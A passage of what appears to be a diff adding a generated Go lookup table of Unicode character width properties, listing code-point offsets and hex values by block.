0x8a6: 0x2000, 0x8a7: 0x2000, 0x8a8: 0x2000, 0x8a9: 0x2000, + 0x8b2: 0x2000, 0x8b3: 0x2000, + 0x8b6: 0x2000, 0x8b7: 0x2000, + 0x8bc: 0x2000, 0x8bd: 0x2000, + // Block 0x23, offset 0x8c0 + 0x8c0: 0x2000, 0x8c1: 0x2000, + 0x8c6: 0x2000, 0x8c7: 0x2000, 0x8c8: 0x2000, 0x8cb: 0x200f, + 0x8ce: 0x2000, 0x8cf: 0x2000, 0x8d0: 0x2000, 0x8d1: 0x2000, + 0x8e2: 0x2000, 0x8e3: 0x2000, + 0x8e4: 0x2000, 0x8e5: 0x2000, + 0x8ef: 0x2000, + 0x8fd: 0x4000, 0x8fe: 0x4000, + // Block 0x24, offset 0x900 + 0x905: 0x2000, + 0x906: 0x2000, 0x909: 0x2000, + 0x90e: 0x2000, 0x90f: 0x2000, + 0x914: 0x4000, 0x915: 0x4000, + 0x91c: 0x2000, + 0x91e: 0x2000, + // Block 0x25, offset 0x940 + 0x940: 0x2000, 0x942: 0x2000, + 0x948: 0x4000, 0x949: 0x4000, 0x94a: 0x4000, 0x94b: 0x4000, + 0x94c: 0x4000, 0x94d: 0x4000, 0x94e: 0x4000, 0x94f: 0x4000, 0x950: 0x4000, 0x951: 0x4000, + 0x952: 0x4000, 0x953: 0x4000, + 0x960: 0x2000, 0x961: 0x2000, 0x963: 0x2000, + 0x964: 0x2000, 0x965: 0x2000, 0x967: 0x2000, 0x968: 0x2000, 0x969: 0x2000, + 0x96a: 0x2000, 0x96c: 0x2000, 0x96d: 0x2000, 0x96f: 0x2000, + 0x97f: 0x4000, + // Block 0x26, offset 0x980 + 0x993: 0x4000, + 0x99e: 0x2000, 0x99f: 0x2000, 0x9a1: 0x4000, + 0x9aa: 0x4000, 0x9ab: 0x4000, + 0x9bd: 0x4000, 0x9be: 0x4000, 0x9bf: 0x2000, + // Block 0x27, offset 0x9c0 + 0x9c4: 0x4000, 0x9c5: 0x4000, + 0x9c6: 0x2000, 0x9c7: 0x2000, 0x9c8: 0x2000, 0x9c9: 0x2000, 0x9ca: 0x2000, 0x9cb: 0x2000, + 0x9cc: 0x2000, 0x9cd: 0x2000, 0x9ce: 0x4000, 0x9cf: 0x2000, 0x9d0: 0x2000, 0x9d1: 0x2000, + 0x9d2: 0x2000, 0x9d3: 0x2000, 0x9d4: 0x4000, 0x9d5: 0x2000, 0x9d6: 0x2000, 0x9d7: 0x2000, + 0x9d8: 0x2000, 0x9d9: 0x2000, 0x9da: 0x2000, 0x9db: 0x2000, 0x9dc: 0x2000, 0x9dd: 0x2000, + 0x9de: 0x2000, 0x9df: 0x2000, 0x9e0: 0x2000, 0x9e1: 0x2000, 0x9e3: 0x2000, + 0x9e8: 0x2000, 0x9e9: 0x2000, + 0x9ea: 0x4000, 0x9eb: 0x2000, 0x9ec: 0x2000, 0x9ed: 0x2000, 0x9ee: 0x2000, 0x9ef: 0x2000, + 0x9f0: 0x2000, 0x9f1: 0x2000, 0x9f2: 0x4000, 0x9f3: 0x4000, 0x9f4: 0x2000, 0x9f5: 0x4000, + 0x9f6: 0x2000, 0x9f7: 0x2000, 0x9f8: 0x2000, 0x9f9: 0x2000, 0x9fa: 0x4000, 0x9fb: 0x2000, + 0x9fc: 0x2000, 0x9fd: 0x4000, 0x9fe: 0x2000, 0x9ff: 0x2000, + // Block 0x28, offset 0xa00 + 0xa05: 0x4000, + 0xa0a: 0x4000, 0xa0b: 0x4000, + 0xa28: 0x4000, + 0xa3d: 0x2000, + // Block 0x29, offset 0xa40 + 0xa4c: 0x4000, 0xa4e: 0x4000, + 0xa53: 0x4000, 0xa54: 0x4000, 0xa55: 0x4000, 0xa57: 0x4000, + 0xa76: 0x2000, 0xa77: 0x2000, 0xa78: 0x2000, 0xa79: 0x2000, 0xa7a: 0x2000, 0xa7b: 0x2000, + 0xa7c: 0x2000, 0xa7d: 0x2000, 0xa7e: 0x2000, 0xa7f: 0x2000, + // Block 0x2a, offset 0xa80 + 0xa95: 0x4000, 0xa96: 0x4000, 0xa97: 0x4000, + 0xab0: 0x4000, + 0xabf: 0x4000, + // Block 0x2b, offset 0xac0 + 0xae6: 0x6000, 0xae7: 0x6000, 0xae8: 0x6000, 0xae9: 0x6000, + 0xaea: 0x6000, 0xaeb: 0x6000, 0xaec: 0x6000, 0xaed: 0x6000, + // Block 0x2c, offset 0xb00 + 0xb05: 0x6010, + 0xb06: 0x6011, + // Block 0x2d, offset 0xb40 + 0xb5b: 0x4000, 0xb5c: 0x4000, + // Block 0x2e, offset 0xb80 + 0xb90: 0x4000, + 0xb95: 0x4000, 0xb96: 0x2000, 0xb97: 0x2000, + 0xb98: 0x2000, 0xb99: 0x2000, + // Block 0x2f, offset 0xbc0 + 0xbc0: 0x4000, 0xbc1: 0x4000, 0xbc2: 0x4000, 0xbc3: 0x4000, 0xbc4: 0x4000, 0xbc5: 0x4000, + 0xbc6: 0x4000, 0xbc7: 0x4000, 0xbc8: 0x4000, 0xbc9: 0x4000, 0xbca: 0x4000, 0xbcb: 0x4000, + 0xbcc: 0x4000, 0xbcd: 0x4000, 0xbce: 0x4000, 0xbcf: 0x4000, 0xbd0: 0x4000, 0xbd1: 0x4000, + 0xbd2: 0x4000, 0xbd3: 0x4000, 0xbd4: 0x4000, 0xbd5: 0x4000, 0xbd6: 0x4000, 0xbd7: 0x4000, + 0xbd8: 0x4000, 0xbd9: 0x4000, 0xbdb: 0x4000, 0xbdc: 0x4000, 0xbdd: 0x4000, + 0xbde: 0x4000, 0xbdf: 0x4000, 0xbe0: 0x4000, 0xbe1: 0x4000, 0xbe2: 0x4000, 0xbe3: 0x4000, + 0xbe4: 0x4000, 0xbe5: 0x4000, 0xbe6: 0x4000, 0xbe7: 0x4000, 0xbe8: 0x4000, 0xbe9: 0x4000, + 0xbea: 0x4000, 0xbeb: 0x4000, 0xbec: 0x4000, 0xbed: 0x4000, 0xbee: 0x4000, 0xbef: 0x4000, + 0xbf0: 0x4000, 0xbf1: 0x4000, 0xbf2: 0x4000, 0xbf3: 0x4000, 0xbf4: 0x4000, 0xbf5: 0x4000, + 0xbf6: 0x4000, 0xbf7: 0x4000, 0xbf8: 0x4000, 0xbf9: 0x4000, 0xbfa: 0x4000, 0xbfb: 0x4000, + 0xbfc: 0x4000, 0xbfd: 0x4000, 0xbfe: 0x4000, 0xbff: 0x4000, + // Block 0x30, offset 0xc00 + 0xc00: 0x4000, 0xc01: 0x4000, 0xc02: 0x4000, 0xc03: 0x4000, 0xc04: 0x4000, 0xc05: 0x4000, + 0xc06: 0x4000, 0xc07: 0x4000, 0xc08: 0x4000, 0xc09: 0x4000, 0xc0a: 0x4000, 0xc0b: 0x4000, + 0xc0c: 0x4000, 0xc0d: 0x4000, 0xc0e: 0x4000, 0xc0f: 0x4000, 0xc10: 0x4000, 0xc11: 0x4000, + 0xc12: 0x4000, 0xc13: 0x4000, 0xc14: 0x4000, 0xc15: 0x4000, 0xc16: 0x4000, 0xc17: 0x4000, + 0xc18: 0x4000, 0xc19: 0x4000, 0xc1a: 0x4000, 0xc1b: 0x4000, 0xc1c: 0x4000, 0xc1d: 0x4000, + 0xc1e: 0x4000, 0xc1f: 0x4000, 0xc20: 0x4000, 0xc21: 0x4000, 0xc22: 0x4000, 0xc23: 0x4000, + 0xc24: 0x4000, 0xc25: 0x4000, 0xc26: 0x4000, 0xc27: 0x4000, 0xc28: 0x4000, 0xc29: 0x4000, + 0xc2a: 0x4000, 0xc2b: 0x4000, 0xc2c: 0x4000, 0xc2d: 0x4000, 0xc2e: 0x4000, 0xc2f: 0x4000, + 0xc30: 0x4000, 0xc31: 0x4000, 0xc32: 0x4000, 0xc33: 0x4000, + // Block 0x31, offset 0xc40 + 0xc40: 0x4000, 0xc41: 0x4000, 0xc42: 0x4000, 0xc43: 0x4000, 0xc44: 0x4000, 0xc45: 0x4000, + 0xc46: 0x4000, 0xc47: 0x4000, 0xc48: 0x4000, 0xc49: 0x4000, 0xc4a: 0x4000, 0xc4b: 0x4000, + 0xc4c: 0x4000, 0xc4d: 0x4000, 0xc4e: 0x4000, 0xc4f: 0x4000, 0xc50: 0x4000, 0xc51: 0x4000, + 0xc52: 0x4000, 0xc53: 0x4000, 0xc54: 0x4000, 0xc55: 0x4000, + 0xc70: 0x4000, 0xc71: 0x4000, 0xc72: 0x4000, 0xc73: 0x4000, 0xc74: 0x4000, 0xc75: 0x4000, + 0xc76: 0x4000, 0xc77: 0x4000, 0xc78: 0x4000, 0xc79: 0x4000, 0xc7a: 0x4000, 0xc7b: 0x4000, + // Block 0x32, offset 0xc80 + 0xc80: 0x9012, 0xc81: 0x4013, 0xc82: 0x4014, 0xc83: 0x4000, 0xc84: 0x4000, 0xc85: 0x4000, + 0xc86: 0x4000, 0xc87: 0x4000, 0xc88: 0x4000, 0xc89: 0x4000, 0xc8a: 0x4000, 0xc8b: 0x4000, + 0xc8c: 0x4015, 0xc8d: 0x4015, 0xc8e: 0x4000, 0xc8f: 0x4000, 0xc90: 0x4000, 0xc91: 0x4000, + 0xc92: 0x4000, 0xc93: 0x4000, 0xc94: 0x4000, 0xc95: 0x4000, 0xc96: 0x4000, 0xc97: 0x4000, + 0xc98: 0x4000, 0xc99: 0x4000, 0xc9a: 0x4000, 0xc9b: 0x4000, 0xc9c: 0x4000, 0xc9d: 0x4000, + 0xc9e: 0x4000, 0xc9f: 0x4000, 0xca0: 0x4000, 0xca1: 0x4000, 0xca2: 0x4000, 0xca3: 0x4000, + 0xca4: 0x4000, 0xca5: 0x4000, 0xca6: 0x4000, 0xca7: 0x4000, 0xca8: 0x4000, 0xca9: 0x4000, + 0xcaa: 0x4000, 0xcab: 0x4000, 0xcac: 0x4000, 0xcad: 0x4000, 0xcae: 0x4000, 0xcaf: 0x4000, + 0xcb0: 0x4000, 0xcb1: 0x4000, 0xcb2: 0x4000, 0xcb3: 0x4000, 0xcb4: 0x4000, 0xcb5: 0x4000, + 0xcb6: 0x4000, 0xcb7: 0x4000, 0xcb8: 0x4000, 0xcb9: 0x4000, 0xcba: 0x4000, 0xcbb: 0x4000, + 0xcbc: 0x4000, 0xcbd: 0x4000, 0xcbe: 0x4000, + // Block 0x33, offset 0xcc0 + 0xcc1: 0x4000, 0xcc2: 0x4000, 0xcc3: 0x4000, 0xcc4: 0x4000, 0xcc5: 0x4000, + 0xcc6: 0x4000, 0xcc7: 0x4000, 0xcc8: 0x4000, 0xcc9: 0x4000, 0xcca: 0x4000, 0xccb: 0x4000, + 0xccc: 0x4000, 0xccd: 0x4000, 0xcce: 0x4000, 0xccf: 0x4000, 0xcd0: 0x4000, 0xcd1: 0x4000, + 0xcd2: 0x4000, 0xcd3: 0x4000, 0xcd4: 0x4000, 0xcd5: 0x4000, 0xcd6: 0x4000, 0xcd7: 0x4000, + 0xcd8: 0x4000, 0xcd9: 0x4000, 0xcda: 0x4000, 0xcdb: 0x4000, 0xcdc: 0x4000, 0xcdd: 0x4000, + 0xcde: 0x4000, 0xcdf: 0x4000, 0xce0: 0x4000, 0xce1: 0x4000, 0xce2: 0x4000, 0xce3: 0x4000, + 0xce4: 0x4000, 0xce5: 0x4000, 0xce6: 0x4000, 0xce7: 0x4000, 0xce8: 0x4000, 0xce9: 0x4000, + 0xcea: 0x4000, 0xceb: 0x4000, 0xcec: 0x4000, 0xced: 0x4000, 0xcee: 0x4000, 0xcef: 0x4000, + 0xcf0: 0x4000, 0xcf1: 0x4000, 0xcf2: 0x4000, 0xcf3: 0x4000, 0xcf4: 0x4000, 0xcf5: 0x4000, + 0xcf6: 0x4000, 0xcf7: 0x4000, 0xcf8: 0x4000, 0xcf9: 0x4000, 0xcfa: 0x4000, 0xcfb: 0x4000, + 0xcfc: 0x4000, 0xcfd: 0x4000, 0xcfe: 0x4000, 0xcff: 0x4000, + // Block 0x34, offset 0xd00 + 0xd00: 0x4000, 0xd01: 0x4000, 0xd02: 0x4000, 0xd03: 0x4000, 0xd04: 0x4000, 0xd05: 0x4000, + 0xd06: 0x4000, 0xd07: 0x4000, 0xd08: 0x4000, 0xd09: 0x4000, 0xd0a: 0x4000, 0xd0b: 0x4000, + 0xd0c: 0x4000, 0xd0d: 0x4000, 0xd0e: 0x4000, 0xd0f: 0x4000, 0xd10: 0x4000, 0xd11: 0x4000, + 0xd12: 0x4000, 0xd13: 0x4000, 0xd14: 0x4000, 0xd15: 0x4000, 0xd16: 0x4000, + 0xd19: 0x4016, 0xd1a: 0x4017, 0xd1b: 0x4000, 0xd1c: 0x4000, 0xd1d: 0x4000, + 0xd1e: 0x4000, 0xd1f: 0x4000, 0xd20: 0x4000, 0xd21: 0x4018, 0xd22: 0x4019, 0xd23: 0x401a, + 0xd24: 0x401b, 0xd25: 0x401c, 0xd26: 0x401d, 0xd27: 0x401e, 0xd28: 0x401f, 0xd29: 0x4020, + 0xd2a: 0x4021, 0xd2b: 0x4022, 0xd2c: 0x4000, 0xd2d: 0x4010, 0xd2e: 0x4000, 0xd2f: 0x4023, + 0xd30: 0x4000, 0xd31: 0x4024, 0xd32: 0x4000, 0xd33: 0x4025, 0xd34: 0x4000, 0xd35: 0x4026, + 0xd36: 0x4000, 0xd37: 0x401a, 0xd38: 0x4000, 0xd39: 0x4027, 0xd3a: 0x4000, 0xd3b: 0x4028, + 0xd3c: 0x4000, 0xd3d: 0x4020, 0xd3e: 0x4000, 0xd3f: 0x4029, + // Block 0x35, offset 0xd40 + 0xd40: 0x4000, 0xd41: 0x402a, 0xd42: 0x4000, 0xd43: 0x402b, 0xd44: 0x402c, 0xd45: 0x4000, + 0xd46: 0x4017, 0xd47: 0x4000, 0xd48: 0x402d, 0xd49: 0x4000, 0xd4a: 0x402e, 0xd4b: 0x402f, + 0xd4c: 0x4030, 0xd4d: 0x4017, 0xd4e: 0x4016, 0xd4f: 0x4017, 0xd50: 0x4000, 0xd51: 0x4000, + 0xd52: 0x4031, 0xd53: 0x4000, 0xd54: 0x4000, 0xd55: 0x4031, 0xd56: 0x4000, 0xd57: 0x4000, + 0xd58: 0x4032, 0xd59: 0x4000, 0xd5a: 0x4000, 0xd5b: 0x4032, 0xd5c: 0x4000, 0xd5d: 0x4000, + 0xd5e: 0x4033, 0xd5f: 0x402e, 0xd60: 0x4034, 0xd61: 0x4035, 0xd62: 0x4034, 0xd63: 0x4036, + 0xd64: 0x4037, 0xd65: 0x4024, 0xd66: 0x4035, 0xd67: 0x4025, 0xd68: 0x4038, 0xd69: 0x4038, + 0xd6a: 0x4039, 0xd6b: 0x4039, 0xd6c: 0x403a, 0xd6d: 0x403a, 0xd6e: 0x4000, 0xd6f: 0x4035, + 0xd70: 0x4000, 0xd71: 0x4000, 0xd72: 0x403b, 0xd73: 0x403c, 0xd74: 0x4000, 0xd75: 0x4000, + 0xd76: 0x4000, 0xd77: 0x4000, 0xd78: 0x4000, 0xd79: 0x4000, 0xd7a: 0x4000, 0xd7b: 0x403d, + 0xd7c: 0x401c, 0xd7d: 0x4000, 0xd7e: 0x4000, 0xd7f: 0x4000, + // Block 0x36, offset 0xd80 + 0xd85: 0x4000, + 0xd86: 0x4000, 0xd87: 0x4000, 0xd88: 0x4000, 0xd89: 0x4000, 0xd8a: 0x4000, 0xd8b: 0x4000, + 0xd8c: 0x4000, 0xd8d: 0x4000, 0xd8e: 0x4000, 0xd8f: 0x4000, 0xd90: 0x4000, 0xd91: 0x4000, + 0xd92: 0x4000, 0xd93: 0x4000, 0xd94: 0x4000, 0xd95: 0x4000, 0xd96: 0x4000, 0xd97: 0x4000, + 0xd98: 0x4000, 0xd99: 0x4000, 0xd9a: 0x4000, 0xd9b: 0x4000, 0xd9c: 0x4000, 0xd9d: 0x4000, + 0xd9e: 0x4000, 0xd9f: 0x4000, 0xda0: 0x4000, 0xda1: 0x4000, 0xda2: 0x4000, 0xda3: 0x4000, + 0xda4: 0x4000, 0xda5: 0x4000, 0xda6: 0x4000, 0xda7: 0x4000, 0xda8: 0x4000, 0xda9: 0x4000, + 0xdaa: 0x4000, 0xdab: 0x4000, 0xdac: 0x4000, 0xdad: 0x4000, 0xdae: 0x4000, 0xdaf: 0x4000, + 0xdb1: 0x403e, 0xdb2: 0x403e, 0xdb3: 0x403e, 0xdb4: 0x403e, 0xdb5: 0x403e, + 0xdb6: 0x403e, 0xdb7: 0x403e, 0xdb8: 0x403e, 0xdb9: 0x403e, 0xdba: 0x403e, 0xdbb: 0x403e, + 0xdbc: 0x403e, 0xdbd: 0x403e, 0xdbe: 0x403e, 0xdbf: 0x403e, + // Block 0x37, offset 0xdc0 + 0xdc0: 0x4037, 0xdc1: 0x4037, 0xdc2: 0x4037, 0xdc3: 0x4037, 0xdc4: 0x4037, 0xdc5: 0x4037, + 0xdc6: 0x4037, 0xdc7: 0x4037, 0xdc8: 0x4037, 0xdc9: 0x4037, 0xdca: 0x4037, 0xdcb: 0x4037, + 0xdcc: 0x4037, 0xdcd: 0x4037, 0xdce: 0x4037, 0xdcf: 0x400e, 0xdd0: 0x403f, 0xdd1: 0x4040, + 0xdd2: 0x4041, 0xdd3: 0x4040, 0xdd4: 0x403f, 0xdd5: 0x4042, 0xdd6: 0x4043, 0xdd7: 0x4044, + 0xdd8: 0x4040, 0xdd9: 0x4041, 0xdda: 0x4040, 0xddb: 0x4045, 0xddc: 0x4009, 0xddd: 0x4045, + 0xdde: 0x4046, 0xddf: 0x4045, 0xde0: 0x4047, 0xde1: 0x400b, 0xde2: 0x400a, 0xde3: 0x400c, + 0xde4: 0x4048, 0xde5: 0x4000, 0xde6: 0x4000, 0xde7: 0x4000, 0xde8: 0x4000, 0xde9: 0x4000, + 0xdea: 0x4000, 0xdeb: 0x4000, 0xdec: 0x4000, 0xded: 0x4000, 0xdee: 0x4000, 0xdef: 0x4000, + 0xdf0: 0x4000, 0xdf1: 0x4000, 0xdf2: 0x4000, 0xdf3: 0x4000, 0xdf4: 0x4000, 0xdf5: 0x4000, + 0xdf6: 0x4000, 0xdf7: 0x4000, 0xdf8: 0x4000, 0xdf9: 0x4000, 0xdfa: 0x4000, 0xdfb: 0x4000, + 0xdfc: 0x4000, 0xdfd: 0x4000, 0xdfe: 0x4000, 0xdff: 0x4000, + // Block 0x38, offset 0xe00 + 0xe00: 0x4000, 0xe01: 0x4000, 0xe02: 0x4000, 0xe03: 0x4000, 0xe04: 0x4000, 0xe05: 0x4000, + 0xe06: 0x4000, 0xe07: 0x4000, 0xe08: 0x4000, 0xe09: 0x4000, 0xe0a: 0x4000, 0xe0b: 0x4000, + 0xe0c: 0x4000, 0xe0d: 0x4000, 0xe0e: 0x4000, 0xe10: 0x4000, 0xe11: 0x4000, + 0xe12: 0x4000, 0xe13: 0x4000, 0xe14: 0x4000, 0xe15: 0x4000, 0xe16: 0x4000, 0xe17: 0x4000, + 0xe18: 0x4000, 0xe19: 0x4000, 0xe1a: 0x4000, 0xe1b: 0x4000, 0xe1c: 0x4000, 0xe1d: 0x4000, + 0xe1e: 0x4000, 0xe1f: 0x4000, 0xe20: 0x4000, 0xe21: 0x4000, 0xe22: 0x4000, 0xe23: 0x4000, + 0xe24: 0x4000, 0xe25: 0x4000, 0xe26: 0x4000, 0xe27: 0x4000, 0xe28: 0x4000, 0xe29: 0x4000, + 0xe2a: 0x4000, 0xe2b: 0x4000, 0xe2c: 0x4000, 0xe2d: 0x4000, 0xe2e: 0x4000, 0xe2f: 0x4000, + 0xe30: 0x4000, 0xe31: 0x4000, 0xe32: 0x4000, 0xe33: 0x4000, 0xe34: 0x4000, 0xe35: 0x4000, + 0xe36: 0x4000, 0xe37: 0x4000, 0xe38: 0x4000, 0xe39: 0x4000, 0xe3a: 0x4000, 0xe3b: 0x4000, + 0xe3c: 0x4000, 0xe3d: 0x4000, 0xe3e: 0x4000, 0xe3f: 0x4000, + // Block 0x39, offset 0xe40 + 0xe40: 0x4000, 0xe41: 0x4000, 0xe42: 0x4000, 0xe43: 0x4000, 0xe44: 0x4000, 0xe45: 0x4000, + 0xe46: 0x4000, 0xe47: 0x4000, 0xe48: 0x4000, 0xe49: 0x4000, 0xe4a: 0x4000, 0xe4b: 0x4000, + 0xe4c: 0x4000, 0xe4d: 0x4000, 0xe4e: 0x4000, 0xe4f: 0x4000, 0xe50: 0x4000, 0xe51: 0x4000, + 0xe52: 0x4000, 0xe53: 0x4000, 0xe54: 0x4000, 0xe55: 0x4000, 0xe56: 0x4000, 0xe57: 0x4000, + 0xe58: 0x4000, 0xe59: 0x4000, 0xe5a: 0x4000, 0xe5b: 0x4000, 0xe5c: 0x4000, 0xe5d: 0x4000, + 0xe5e: 0x4000, 0xe5f: 0x4000, 0xe60: 0x4000, 0xe61: 0x4000, 0xe62: 0x4000, 0xe63: 0x4000, + 0xe70: 0x4000, 0xe71: 0x4000, 0xe72: 0x4000, 0xe73: 0x4000, 0xe74: 0x4000, 0xe75: 0x4000, + 0xe76: 0x4000, 0xe77: 0x4000, 0xe78: 0x4000, 0xe79: 0x4000, 0xe7a: 0x4000, 0xe7b: 0x4000, + 0xe7c: 0x4000, 0xe7d: 0x4000, 0xe7e: 0x4000, 0xe7f: 0x4000, + // Block 0x3a, offset 0xe80 + 0xe80: 0x4000, 0xe81: 0x4000, 0xe82: 0x4000, 0xe83: 0x4000, 0xe84: 0x4000, 0xe85: 0x4000, + 0xe86: 0x4000, 0xe87: 0x4000, 0xe88: 0x4000, 0xe89: 0x4000, 0xe8a: 0x4000, 0xe8b: 0x4000, + 0xe8c: 0x4000, 0xe8d: 0x4000, 0xe8e: 0x4000, 0xe8f: 0x4000, 0xe90: 0x4000, 0xe91: 0x4000, + 0xe92: 0x4000, 0xe93: 0x4000, 0xe94: 0x4000, 0xe95: 0x4000, 0xe96: 0x4000, 0xe97: 0x4000, + 0xe98: 0x4000, 0xe99: 0x4000, 0xe9a: 0x4000, 0xe9b: 0x4000, 0xe9c: 0x4000, 0xe9d: 0x4000, + 0xe9e: 0x4000, 0xea0: 0x4000, 0xea1: 0x4000, 0xea2: 0x4000, 0xea3: 0x4000, + 0xea4: 0x4000, 0xea5: 0x4000, 0xea6: 0x4000, 0xea7: 0x4000, 0xea8: 0x4000, 0xea9: 0x4000, + 0xeaa: 0x4000, 0xeab: 0x4000, 0xeac: 0x4000, 0xead: 0x4000, 0xeae: 0x4000, 0xeaf: 0x4000, + 0xeb0: 0x4000, 0xeb1: 0x4000, 0xeb2: 0x4000, 0xeb3: 0x4000, 0xeb4: 0x4000, 0xeb5: 0x4000, + 0xeb6: 0x4000, 0xeb7: 0x4000, 0xeb8: 0x4000, 0xeb9: 0x4000, 0xeba: 0x4000, 0xebb: 0x4000, + 0xebc: 0x4000, 0xebd: 0x4000, 0xebe: 0x4000, 0xebf: 0x4000, + // Block 0x3b, offset 0xec0 + 0xec0: 0x4000, 0xec1: 0x4000, 0xec2: 0x4000, 0xec3: 0x4000, 0xec4: 0x4000, 0xec5: 0x4000, + 0xec6: 0x4000, 0xec7: 0x4000, 0xec8: 0x2000, 0xec9: 0x2000, 0xeca: 0x2000, 0xecb: 0x2000, + 0xecc: 0x2000, 0xecd: 0x2000, 0xece: 0x2000, 0xecf: 0x2000, 0xed0: 0x4000, 0xed1: 0x4000, + 0xed2: 0x4000, 0xed3: 0x4000, 0xed4: 0x4000, 0xed5: 0x4000, 0xed6: 0x4000, 0xed7: 0x4000, + 0xed8: 0x4000, 0xed9: 0x4000, 0xeda: 0x4000, 0xedb: 0x4000, 0xedc: 0x4000, 0xedd: 0x4000, + 0xede: 0x4000, 0xedf: 0x4000, 0xee0: 0x4000, 0xee1: 0x4000, 0xee2: 0x4000, 0xee3: 0x4000, + 0xee4: 0x4000, 0xee5: 0x4000, 0xee6: 0x4000, 0xee7: 0x4000, 0xee8: 0x4000, 0xee9: 0x4000, + 0xeea: 0x4000, 0xeeb: 0x4000, 0xeec: 0x4000, 0xeed: 0x4000, 0xeee: 0x4000, 0xeef: 0x4000, + 0xef0: 0x4000, 0xef1: 0x4000, 0xef2: 0x4000, 0xef3: 0x4000, 0xef4: 0x4000, 0xef5: 0x4000, + 0xef6: 0x4000, 0xef7: 0x4000, 0xef8: 0x4000, 0xef9: 0x4000, 0xefa: 0x4000, 0xefb: 0x4000, + 0xefc: 0x4000, 0xefd: 0x4000, 0xefe: 0x4000, 0xeff: 0x4000, + // Block 0x3c, offset 0xf00 + 0xf00: 0x4000, 0xf01: 0x4000, 0xf02: 0x4000, 0xf03: 0x4000, 0xf04: 0x4000, 0xf05: 0x4000, + 0xf06: 0x4000, 0xf07: 0x4000, 0xf08: 0x4000, 0xf09: 0x4000, 0xf0a: 0x4000, 0xf0b: 0x4000, + 0xf0c: 0x4000, 0xf10: 0x4000, 0xf11: 0x4000, + 0xf12: 0x4000, 0xf13: 0x4000, 0xf14: 0x4000, 0xf15: 0x4000, 0xf16: 0x4000, 0xf17: 0x4000, + 0xf18: 0x4000, 0xf19: 0x4000, 0xf1a: 0x4000, 0xf1b: 0x4000, 0xf1c: 0x4000, 0xf1d: 0x4000, + 0xf1e: 0x4000, 0xf1f: 0x4000, 0xf20: 0x4000, 0xf21: 0x4000, 0xf22: 0x4000, 0xf23: 0x4000, + 0xf24: 0x4000, 0xf25: 0x4000, 0xf26: 0x4000, 0xf27: 0x4000, 0xf28: 0x4000, 0xf29: 0x4000, + 0xf2a: 0x4000, 0xf2b: 0x4000, 0xf2c: 0x4000, 0xf2d: 0x4000, 0xf2e: 0x4000, 0xf2f: 0x4000, + 0xf30: 0x4000, 0xf31: 0x4000, 0xf32: 0x4000, 0xf33: 0x4000, 0xf34: 0x4000, 0xf35: 0x4000, + 0xf36: 0x4000, 0xf37: 0x4000, 0xf38: 0x4000, 0xf39: 0x4000, 0xf3a: 0x4000, 0xf3b: 0x4000, + 0xf3c: 0x4000, 0xf3d: 0x4000, 0xf3e: 0x4000, 0xf3f: 0x4000, + // Block 0x3d, offset 0xf40 + 0xf40: 0x4000, 0xf41: 0x4000, 0xf42: 0x4000, 0xf43: 0x4000, 0xf44: 0x4000, 0xf45: 0x4000, + 0xf46: 0x4000, + // Block 0x3e, offset 0xf80 + 0xfa0: 0x4000, 0xfa1: 0x4000, 0xfa2: 0x4000, 0xfa3: 0x4000, + 0xfa4: 0x4000, 0xfa5: 0x4000, 0xfa6: 0x4000, 0xfa7: 0x4000, 0xfa8: 0x4000, 0xfa9: 0x4000, + 0xfaa: 0x4000, 0xfab: 0x4000, 0xfac: 0x4000, 0xfad: 0x4000, 0xfae: 0x4000, 0xfaf: 0x4000, + 0xfb0: 0x4000, 0xfb1: 0x4000, 0xfb2: 0x4000, 0xfb3: 0x4000, 0xfb4: 0x4000, 0xfb5: 0x4000, + 0xfb6: 0x4000, 0xfb7: 0x4000, 0xfb8: 0x4000, 0xfb9: 0x4000, 0xfba: 0x4000, 0xfbb: 0x4000, + 0xfbc: 0x4000, + // Block 0x3f, offset 0xfc0 + 0xfc0: 0x4000, 0xfc1: 0x4000, 0xfc2: 0x4000, 0xfc3: 0x4000, 0xfc4: 0x4000, 0xfc5: 0x4000, + 0xfc6: 0x4000, 0xfc7: 0x4000, 0xfc8: 0x4000, 0xfc9: 0x4000, 0xfca: 0x4000, 0xfcb: 0x4000, + 0xfcc: 0x4000, 0xfcd: 0x4000, 0xfce: 0x4000, 0xfcf: 0x4000, 0xfd0: 0x4000, 0xfd1: 0x4000, + 0xfd2: 0x4000, 0xfd3: 0x4000, 0xfd4: 0x4000, 0xfd5: 0x4000, 0xfd6: 0x4000, 0xfd7: 0x4000, + 0xfd8: 0x4000, 0xfd9: 0x4000, 0xfda: 0x4000, 0xfdb: 0x4000, 0xfdc: 0x4000, 0xfdd: 0x4000, + 0xfde: 0x4000, 0xfdf: 0x4000, 0xfe0: 0x4000, 0xfe1: 0x4000, 0xfe2: 0x4000, 0xfe3: 0x4000, + // Block 0x40, offset 0x1000 + 0x1000: 0x2000, 0x1001: 0x2000, 0x1002: 0x2000, 0x1003: 0x2000, 0x1004: 0x2000, 0x1005: 0x2000, + 0x1006: 0x2000, 0x1007: 0x2000, 0x1008: 0x2000, 0x1009: 0x2000, 0x100a: 0x2000, 0x100b: 0x2000, + 0x100c: 0x2000, 0x100d: 0x2000, 0x100e: 0x2000, 0x100f: 0x2000, 0x1010: 0x4000, 0x1011: 0x4000, + 0x1012: 0x4000, 0x1013: 0x4000, 0x1014: 0x4000, 0x1015: 0x4000, 0x1016: 0x4000, 0x1017: 0x4000, + 0x1018: 0x4000, 0x1019: 0x4000, + 0x1030: 0x4000, 0x1031: 0x4000, 0x1032: 0x4000, 0x1033: 0x4000, 0x1034: 0x4000, 0x1035: 0x4000, + 0x1036: 0x4000, 0x1037: 0x4000, 0x1038: 0x4000, 0x1039: 0x4000, 0x103a: 0x4000, 0x103b: 0x4000, + 0x103c: 0x4000, 0x103d: 0x4000, 0x103e: 0x4000, 0x103f: 0x4000, + // Block 0x41, offset 0x1040 + 0x1040: 0x4000, 0x1041: 0x4000, 0x1042: 0x4000, 0x1043: 0x4000, 0x1044: 0x4000, 0x1045: 0x4000, + 0x1046: 0x4000, 0x1047: 0x4000, 0x1048: 0x4000, 0x1049: 0x4000, 0x104a: 0x4000, 0x104b: 0x4000, + 0x104c: 0x4000, 0x104d: 0x4000, 0x104e: 0x4000, 0x104f: 0x4000, 0x1050: 0x4000, 0x1051: 0x4000, + 0x1052: 0x4000, 0x1054: 0x4000, 0x1055: 0x4000, 0x1056: 0x4000, 0x1057: 0x4000, + 0x1058: 0x4000, 0x1059: 0x4000, 0x105a: 0x4000, 0x105b: 0x4000, 0x105c: 0x4000, 0x105d: 0x4000, + 0x105e: 0x4000, 0x105f: 0x4000, 0x1060: 0x4000, 0x1061: 0x4000, 0x1062: 0x4000, 0x1063: 0x4000, + 